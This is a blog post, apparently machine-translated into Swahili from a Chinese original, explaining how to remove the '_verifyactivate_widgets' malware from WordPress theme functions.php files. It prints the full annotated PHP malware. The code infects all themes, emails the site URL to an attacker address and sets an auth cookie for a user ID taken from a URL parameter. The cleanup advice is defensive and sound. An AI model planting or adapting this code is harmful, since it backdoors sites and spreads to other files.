Jinsi mandhari ya WordPress husafisha msimbo hasidi _verifyactivate_widgets

最近Chen Weiliangkutumia sasaProgramu-jalizi ya Wordfence Security huchanganua tovuti kwa msimbo hasidiBaadaye, ilipatikanaWordPressKatika faili ya mandhari ya function.php, msimbo wa virusi hasidi umefichwa.

Msimbo hasidi katika faili ya mandhari ya WordPress.php

Mahali panapowezekana kwa "msimbo hasidi" katika WordPress ni function.php kwenye saraka ya mada, kwa kawaida hufichwa mwishoni mwa faili ya function.php.

shida kuu:Msimbo hasidi utagundua ikiwa mada zote zilizo chini ya blogu ya sasa zimeambukizwa kila wakati mtu anapotembelea ukurasa wako wa blogu, na ikiwa sivyo, ataambukizwa pamoja.

Baada ya hapo, hatua ya uanzishaji wa wp inapotekelezwa, itaangalia kama blogu ya sasa imetuma barua pepe kwa kisanduku cha barua livethemas@gmail. com

Unajuaje ikiwa imechapishwa?

• Ndani ya jedwali lako la wp_options kuna faili inayoitwa_is_widget_active_chaguo, ikiwa imetumwa kwa mafanikio, weka thamani yake kwa 1;
• Ikiwa sivyo, tumia URL ya ukurasa wa nyumbani wa blogu iliyoambukizwa kwa sasa kama kichwa na maudhui.
• Hiyo ni, hakuna mambo mengine mabaya ya kufanya.

Nambari ya virusi hasidi ni kama ifuatavyo (kunaweza kuwa na tofauti kadhaa, lakini nambari ya msingi ni sawa):

<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 [email protected] 的文章，肯定是没有的

$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;

//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 [email protected] 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\0\x0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>

Msimbo hasidi wa mandhari ya WordPress ni nini?

Ikiwa kuchanganua kwa kutumia programu-jalizi ya Wordfence Security huamua kuwa faili yako ya function.php imechezewa, unahitaji kuangalia, kwa mfano:

1. _thibitisha kuwezesha_wijeti
2. fanya kazi _checkactive_widgets
3. fanya kazi _get_alwidgets_cont
4. kazi stripos
5. kazi strripos
6. kazi scandir
7. kazi _getprepare_wijeti
8. fanya kazi __machapisho_maarufu
9. add_action("admin_head", "_checkactive_widgets");
10. add_action("init", "_getprepare_widget");
11. _thibitisha_anzisha_wijeti
12. _angalia_wijeti_haitumiki
13. _pata_wijetizote
14. _andaa_wijeti
15. __machapisho_maarufu

• Kila mstari ni huru, ikiwa una msimbo hapo juu katika function.php yako basi unaweza kugongwa.
• Miongoni mwao, utendaji na add_action kwa ujumla ni msimbo wa "misimbo hasidi" inayomilikiwa na "shughuli za maandalizi".

Jinsi ya kuondoa WordPress mandhari function.php malicious virusi code?

Pia ni rahisi sana kusafisha, pata tu msimbo unaofanana na hapo juu katika faili ya function.php ya mandhari ya WordPress na uifute, lakini kwa sababu mara moja imeambukizwa, mandhari yote katika saraka ya mandhari yako yataambukizwa, hivyo tu sasa Mandhari yaliyotumika ni batili na yatatolewa punde tu baada ya kufuta.

Suluhisho ni kuondoa msimbo wa virusi mbaya wa mandhari moja ya WordPress, kuweka faili ya function.php kwa ruhusa 444, na kisha kusafisha mandhari nyingine za WordPress.

Kuhusu kama ruhusa ya 444 ya faili ya function.php ya mwisho inahitaji kubadilishwa, watu wanapendekeza kuwa 444 ni salama kiasi na inaweza kurekebishwa inapobidi.

Vidokezo vya kutumia programu-jalizi ya Usalama ya Wordfence

Tunapendekeza programu-jalizi ya WordPress ya Wordfence Security, programu-jalizi ya usalama ya WordPress iliyo na ngome iliyojumuishwa na uchanganuzi wa programu hasidi, iliyojengwa na kudumishwa na timu kubwa ambayo inazingatia usalama wa WordPress kwa 100%.

Ingawa kuna moduli za kulipia, tunaweza kutumia moduli isiyolipishwa ya "Scan" kuchanganua tovuti yetu ya WordPress kwa faili za PHP zenye "msimbo hasidi", ingawa kuna kiwango fulani chanya cha uongo (haswa baadhi ya programu-jalizi halisi, kipengele cha usimbaji fiche kitazuiwa. kwa chanya za uwongo), lakini kupata "misimbo hasidi" hakika ni kazi zaidi na juhudi kidogo.

Ikumbukwe kwamba programu-jalizi hii haipendekezi kugeuka mara kwa mara, kwa sababu firewall yake na ulinzi wa usalama utasababisha shinikizo fulani la mzigo kwenye hifadhidata na kuathiri utendaji wa tovuti.

Kwa kawaida, programu-jalizi huwezeshwa kuendesha "changanuzi" inapohitajika.

Funga programu-jalizi baada ya uchunguzi kukamilika, ikiwa kuna dharura.